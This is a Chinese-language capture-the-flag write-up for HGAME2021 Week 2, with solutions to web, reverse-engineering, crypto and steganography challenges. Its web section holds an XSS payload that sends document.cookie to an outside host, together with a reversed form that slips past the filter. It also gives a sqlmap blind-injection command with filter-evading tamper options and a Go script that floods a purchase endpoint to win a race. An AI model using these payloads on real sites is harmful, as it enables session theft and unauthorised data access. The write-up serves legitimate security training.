HGAME2021 - Week 2 writeup

web

LazyDogR4U [150]

只有一个登录页,一开始尝试常见的 .index.php.swp、index.php~ 等备份文件无果,最后用扫描工具才得到 www.zip

之后审计 php 源码,可知题目要求以管理员的身份登录,跳转至 /flag.php 可以查看 flag

// ...[OMITTED]...
if($_SESSION['username'] === 'admin'){
        echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
        echo "<h3 style='color: white'>$flag</h3>";
    }else{
// ...[OMITTED]...

可以发现引入的 “lazy.php” 存在变量覆盖漏洞

<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];
// 直接注册所有变量,这样我就能少打字力,芜湖~
foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        foreach ($filter as $youBadBad){
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${$_k} = $_v;
    }
}
// ...[OMITTED]...

所以目标是将 $_SESSION['username'] 的值覆盖为 “admin”

虽然进行了关键词过滤,但由于没有进行递归替换,“SESSSESSIONION” 就会变成 “SESSION”

直接请求 /flag.php?_SESSSESSIONION[username]=admin 即可得到 flag

Flag: hgame{[email protected]~DOg}

Post to zuckonit [250]

普通的留言板 XSS 题,如果提交中含有 on* 关键词,结果就会被倒序,且 “on*” 会变成 “*on”(即再次倒序后会变成 “no*”,无法直接通过提交倒序的 payload 来利用)

经过尝试后发现在字符串开头加上 on* 关键词即可产生倒序的 “后续字符串 + no*” 的结果

构造 on* + 目标 payload 的倒序字符串即可产生正序的 payload + no*

由于 “http” 会被过滤,利用 HTML 的 “Protocol-relative URL” 特性不指定 URL 协议即可绕过

<!--> 目标 payload <-->
<img src=1 onerror=fetch('//[REDACTED]/?='+btoa(document.cookie))>

<!--> payload <-->
onerror>))eikooc.tnemucod(aotb+'=?/]DETCADER[//'(hctef=rorreno 1=crs gmi<

正确发布 payload 之后爆破出要求的 MD5 substring 验证码提交给后台 bot 即可打到 cookie

Flag: hgame{[email protected]'s_cOokies.}

200OK!! [200]

请求头中的 “Status” 存在布尔型 SQL 盲注漏洞,如 Status: 3' and '1'='1'#

其中空格会被过滤,可以使用 “/**/” 等注释替换绕过;SELECT(select)、WHERE 等关键词会被过滤,可以使用 SeLeCt、WhErE、SELSELECTECT 等大小写混合或双写绕过

可以使用 sqlmap 简化盲注工作

$ sqlmap -u "https://[REDACTED]/server.php" --header "Status: *" --prefix "3'" --suffix "#" --tamper "randomcase,space2comment" -A "" --dbms mysql --string "HTTP 401 Unauthorized" --technique=B --sql-shell --threads=8
# ...[OMITTED]...
[69:69:69] [INFO] (custom) HEADER parameter 'Status #1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[69:69:69] [INFO] checking if the injection point on (custom) HEADER parameter 'Status #1*' is a false positive
(custom) HEADER parameter 'Status #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 10 HTTP(s) requests:
---
Parameter: Status #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: 3' AND 114514=114514#
---
# ...[OMITTED]...
sql-shell> SELECT table_name FROM information_schema.tables WHERE table_schema=database()
# ...[OMITTED]...
[*] f1111111144444444444g
[*] status

sql-shell> SELECT column_name FROM information_schema.columns WHERE table_name='f1111111144444444444g'
# ...[OMITTED]...
[*] ffffff14gggggg

sql-shell> SELECT ffffff14gggggg FROM f1111111144444444444g
# ...[OMITTED]...

Flag: hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

Liki 的生日礼物 [200]

注册新账号登录之后有 ¥2000 余额,每 ¥40 余额可以买 1 张兑换券,然而按要求兑换一台 switch 需要 52 张兑换券

测试发现不存在整数溢出漏洞,猜测有条件竞争漏洞

使用网上抄来的 python 脚本(ThreadPoolExecutor)发现无论如何只能买到 50 张,原因不明

用 golang 重写后就可以买到 60 张左右的兑换券了

package main

import (
    "fmt"
    "net/http"
    "strings"
    "sync"
)

const (
    urlBuy          = "https://[REDACTED]/API/?m=buy"
    contentType     = "application/x-www-form-urlencoded; charset=UTF-8"
    postBody        = "amount=1"
    cookieSessionId = "PHPSESSID=d41d8cd98f00b204e9800998ec"
)

var client = http.Client{}

func main() {
    count := 100
    var wg sync.WaitGroup
    wg.Add(count)
    for i := 0; i < count; i++ {
        go func() {
            httpRequest()
            wg.Done()
        }()
    }
    wg.Wait()
    fmt.Println("done!")
}

func httpRequest() {
    req, err := http.NewRequest(http.MethodPost, urlBuy, strings.NewReader(postBody))
    if err != nil {
        panic(err)
    }
    req.Header.Set("Cookie", cookieSessionId)
    req.Header.Set("Content-Type", contentType)
    _, err = client.Do(req)
    if err != nil {
        panic(err)
    }
}

其实用 BurpSuite 中的 intruder 功能就可以了

Flag: hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

reverse

ezApk [200]

简单的 Android APK 逆向,使用 JEB 等工具反编译后可以查看 Java 源码

ezApk-1

分析一下可知基本逻辑如下:

  1. 计算资源文件中的 key (0x7F0E002B) 字符串的 MD5,作为 IV
  2. 计算 key 的 SHA256,作为密钥
  3. 使用得到的 IV 和密钥,对输入的字符串进行 AES CBC 加密
  4. 将得到的密文进行 base64 编码,与资源文件中的 flag (0x7F0E0027) 字符串进行比较,检查是否一致

通过在线工具或如下脚本即可解密

from base64 import b64decode, b64encode
from hashlib import md5, sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

enc = b'EEB23sI1Wd9Gvhvk1sgWyQZhjilnYwCi5au1guzOaIg5dMAj9qPA7lnIyVoPSdRY'  # R.string.flag (0x7F0E0027)
key = b'A_HIDDEN_KEY'  # R.string.key (0x7F0E002B)

BS = 16

enc = b64decode(enc)
iv = md5(key).digest()
# print(b64encode(iv))
key = sha256(key).digest()
# print(b64encode(key))
cipher = AES.new(key, AES.MODE_CBC, iv)
print(unpad(cipher.decrypt(enc), BS))

Flag: hgame{jUst_A_3z4pp_write_in_k07l1n}

helloRe2 [250]

使用 IDA 反编译,可知需要输入两个密码并分别进行校验

输入 Password 1 后首先检查其字符串长度是否为 16,然后检查是否与 xmmword_4030F0 一致

helloRe2-1

之后会通过 IsDebuggerPresent() 来检查是否正被调试,如果不在被调试则对共享内存中的一些值进行异或,作为之后 AES 加密使用的 key

helloRe2-2

之后程序会新建一个进程,输入 Password 2 后首先检查其字符串长度是否为 16,然后使用共享内存中的 key 和 IV 对其进行 AES CBC 加密,检查结果(32 字节)的高 128 位(16 字节)是否与 xmmword_4030E0 一致

helloRe2-3

由于不太熟悉调试器的使用,使用 frida 直接插桩拦截 BCryptGenerateSymmetricKey 得到密钥,拦截 BCryptEncrypt 得到 IV

const BCryptGenerateSymmetricKey = Module.findExportByName('Bcrypt.dll', 'BCryptGenerateSymmetricKey')
const BCryptEncrypt = Module.findExportByName('Bcrypt.dll', 'BCryptEncrypt')

Interceptor.attach(ptr(BCryptGenerateSymmetricKey), {
    onEnter: args => {
        console.log('BCryptGenerateSymmetricKey() invoked')
        console.log('Key (pbSecret): ' + buf2hex(Memory.readByteArray(args[4], 16)))
    }
})

Interceptor.attach(ptr(BCryptEncrypt), {
    onEnter: args => {
        console.log('BCryptEncrypt() invoked')
        console.log('Plain text: ' + buf2hex(Memory.readByteArray(args[1], 16)))
        console.log('IV: ' + buf2hex(Memory.readByteArray(args[4], 16)))
        this.enc_addr = args[6]
        this.enc_size = parseInt(args[7])
    },
    onLeave: _ => {
        console.log('Encrypted data: ' + buf2hex(Memory.readByteArray(this.enc_addr, this.enc_size)))
    }
})

function buf2hex(buffer) {
    return Array.prototype.map.call(new Uint8Array(buffer), n => n.toString(16).padStart(2, '0')).join('')
}
X:\helloRe2> helloRe2.exe
Hello Re Player
input password 1:
2b0c5e6a3a20b189
password 1 correct !
input password 2:
2b0c5e6a3a20b189
password 2 error

...[OMITTED]...

X:\helloRe2> tasklist | findstr "helloRe2"
helloRe2.exe                  3904 Console                    1      4,860 K  # 第一个进程
helloRe2.exe                  8660 Console                    1      4,460 K  # 第二个进程,将 frida 附加至此

X:\helloRe2> frida -l hook.js -p 8660
[Local::PID::8660]-> BCryptGenerateSymmetricKey() invoked
Key (pbSecret): 32633260316030663b68383b6e3c3636
BCryptEncrypt() invoked
Plain text: 32623063356536613361323062313839
IV: 000102030405060708090a0b0c0d0e0f
Encrypted data:
BCryptEncrypt() invoked
Plain text: 32623063356536613361323062313839
IV: 000102030405060708090a0b0c0d0e0f
Encrypted data: 21f376a28433b3aceebf8958202da39c2a66905895d500e9107b9125561dbbff
Process terminated

可见使用的 key 为 “0x32633260316030663b68383b6e3c3636”, IV 为 “0x000102030405060708090a0b0c0d0e0f”

使用在线工具或如下脚本即可解密出 xmmword_4030E0 的明文

from Crypto.Cipher import AES

enc = bytes.fromhex('7EF602D5625F4E3F65797607D9FEFEB7')[::-1]
key = bytes.fromhex('32633260316030663b68383b6e3c3636')
iv = bytes.fromhex('000102030405060708090a0b0c0d0e0f')
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.decrypt(enc))

Flag: hgame{2b0c5e6a3a20b189_7a4ad6c5671fb313}

fake_debugger beta [150]

题目只给了一个 socket 连接地址,nc 连接后可以输入 flag 字符串并发送空格进行单步调试,可以打印出 EAX、EBX、ECX、ZF 四个寄存器的值

经过尝试可以发现 flag 长度需要大于 10,否则在第一步就提示 “Short flag!”

分别输入 “AAAAAAAAAAA”('A'*11)、“AAAAAAAAAAAA”('A'*12)、“BAAAAAAAAAA”('B'+'A'*10) 进行调试,可以发现在每步调试中:

ECX 的值为当前字符在输入字符串中的位置

当 ZF = 0 时(奇数步),EAX 的值为字符的 ASCII 码与 EBX 的值异或的结果(如 ord('A') ^ 23 = 86),EBX 的值与输入无关,即在每一步中总为固定的值(如第一步中为 23)

当 ZF = 1 时(偶数步),EAX 的值与之前相同,EBX 的值为另一个固定的值(如第二步中为 127);当 EAX = EBX 时可以到下一步,否则提示 “Wrong Flag! Try again!” 并退出

所以可以根据每个奇数步中 EBX 的值和下一步中 EBX 的值来算出正确的字符,ord(CHAR) = EBX ^ EBX'

from pwn import *
import re

data_pattern = re.compile(r'eax: (\d+)\nebx: (\d+)\necx: (\d+)\nzf: ([01])\n')


def step(io):
    io.sendline(' ')
    resp = io.recv()
    if resp != b'\n':
        print('Got flag: ' + ''.join(flag))
        exit(0)
    resp += io.recvuntil('INFO--------------')
    data = data_pattern.search(resp.decode())
    return int(data.groups()[0]), int(data.groups()[1]), int(data.groups()[2]), int(data.groups()[3])


flag = list('?' * 11)
while True:
    print(''.join(flag))
    io = remote('[REDACTED]', 9999)
    io.recvuntil('now!')
    io.sendline(''.join(flag))
    io.recvuntil('INFO--------------')
    while True:
        try:
            eax, ebx_1, ecx, zf = step(io)
            eax, ebx_2, ecx, zf = step(io)
            print(f'{eax}, ', end='')
            if zf == 1 and eax != ebx_2:
                flag[ecx] = chr(ebx_1 ^ ebx_2)
                break
        except EOFError:
            flag.append('?')
            break
    io.close()

Flag: hgame{You_Kn0w_debuGg3r}

crypto

signin [150]

题目中随机生成两个 1024 位质数 $a$ 与 $p$,对明文 $m$ 计算出密文 c = a ** p * m % p,则

$c \equiv a^p \cdot m \pmod{p} \equiv a^{p-1} \cdot a \cdot m \pmod {p} \equiv a \cdot m \pmod {p}$

所以 $m\equiv c \cdot a^{-1} \pmod p$

可以在 python 中通过 m = pow(c, invmod(a, p), p) 求出 $m$

Flag: hgame{[email protected]_m4th+1s^th3~ba5is-Of=cRypt0!!}

gcd or more? [200]

根据密文的计算中指数为 2,可知不是普通的 RSA 而是其衍生的 Rabin 算法,可以通过如下脚本解出明文

from gmpy2 import invert
from libnum import n2s

cipher = ...[OMITTED]...
p = ...[OMITTED]...
q = ...[OMITTED]...
N = p * q

inv_p = invert(p, q)
inv_q = invert(q, p)

mp = pow(cipher, (p + 1) // 4, p)
mq = pow(cipher, (q + 1) // 4, q)

#a = (inv_p * p * mq + inv_q * q * mp) % N
#b = N - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % N
d = N - int(c)

print(n2s(d))

Flag: hgame{[email protected]^r1ght?}

WhitegiveRSA [150]

普通的 RSA,已知 N、e、c,在 factordb 找出 N 的因数 p 与 q,直接使用 ius/rsatoolGanapati/RsaCtfTool 计算即可

Flag: hgame{[email protected]!}

The Password [250]

ThePassword

因为 $z = x \oplus ROT(x, a) \oplus ROT(x, b)$ 是双射的,又因为 $z_i = y_i \oplus n_i$,所以可以由 $z_i$ 求出 $x_i$

通过如下程序即可求出每组数据的 $x$,参考自此处

#include <iostream>
#include <cstdint>

using namespace std;

static inline uint64_t rot(const uint64_t x, uint8_t i) {
  return (x << i) | (x >> (64 - i));
}

uint64_t xor_rot2_inv(uint64_t x, uint8_t a, uint8_t b) {
  x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f;  // t0 = M x
  x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f;  // t1 = M^2 t0
  x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f;  // t2 = M^4 t1
  x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f;  // t3 = M^8 t2
  x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f;  // t4 = M^16 t3
  x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f;  // t5 = M^32 t4
  x = x ^ rot(x, a) ^ rot(x, b);                                          // x' = M^64 t5
  return x;
}

int main() {
  cout << xor_rot2_inv(15789597796041222200u ^ 14750142427529922u, -7, 3) << endl;
  cout << xor_rot2_inv(8279663441787235887u ^ 2802568775308984u, -4, 9) << endl;
  cout << xor_rot2_inv(9666438290109535850u ^ 15697145971486341u, -2, 5) << endl;
  cout << xor_rot2_inv(10529571502219113153u ^ 9110411034859362u, -6, 13) << endl;
  cout << xor_rot2_inv(8020289479524135048u ^ 4092084344173014u, -8, -16) << endl;
  cout << xor_rot2_inv(10914636017953100490u ^ 2242282628961085u, -5, 7) << endl;
  cout << xor_rot2_inv(4622436850708129231u ^ 10750832281632461u, -2, 5) << endl;
  return 0;
}

之后使用 python 的 bytes.fromhex(f'{x_i:x}') 或 libnum 中的 n2s(x_i) 即可转为字符串,拼接即为 flag

Flag: hgame{l1ne0r_a1gebr0&[email protected]^1n$crypto}

misc

Tools [100]

隐写工具套娃题,每层有一个加密的 7z 压缩包和一个含隐写信息的 JPG 图片,其 EXIF 备注中有所用隐写工具的密码参数

解压题目压缩包后得到 F5.7z 和 Matryoshka.jpg,通过 java Extract Matryoshka.jpg -p '!LyJJ9bi&M7E72*JyD' 解出 7z 密码

解压后得到 Steghide.7z 和 01.jpg,通过 steghide.exe extract -p '[email protected]$EbE8' -sf 01.jpg 解出 7z 密码

解压后得到 Outguess.7z 和 02.jpg,通过 outguess -k 'z0GFieYAee%gdf0%lF' -r 02.jpg output.txt 解出 7z 密码

解压后得到 JPHS.7z 和 03.jpg,通过 JPHSwin 工具解出 7z 密码

解压后得到 04.jpg

将 01 至 04.jpg 拼合成二维码,扫描得到 flag

Flag: hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}

Telegraph:1601 6639 3459 3134 0892 [150]

MP3 音频隐写,查看频谱图可以看到提示 “850 Hz”,在 1:10 - 1:33 有一段摩斯电码的音频,分离出 830~880 Hz 即可清楚地看出长短,解码后即为 flag

Telegraph

Flag: hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}

Hallucigenia [200]

使用 Stegsolve 可以在 Red plane 0 看到隐写的二维码,扫描得到一个 base64 编码字符串

解码后可以看到末尾有 GNP\x89,结合题目描述 “我们不仅弄错了他的上下,还颠倒了它的左右。”,将解码后的字节倒序保存成 PNG 文件

打开后可以看到垂直镜像后的 flag

Flag: hgame{tenchi_souzou_dezain_bu}

DNS [100]

使用 Wireshark 审计数据包,在 No. 62 可以看到对 flag.hgame2021.cf 的 A 记录查询,访问 http://flag.hgame2021.cf 提示 “Flag is here but not here”

查询 TXT 记录,得到 flag

Flag: hgame{D0main_N4me_5ystem}


分类: CTF

0 条评论

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注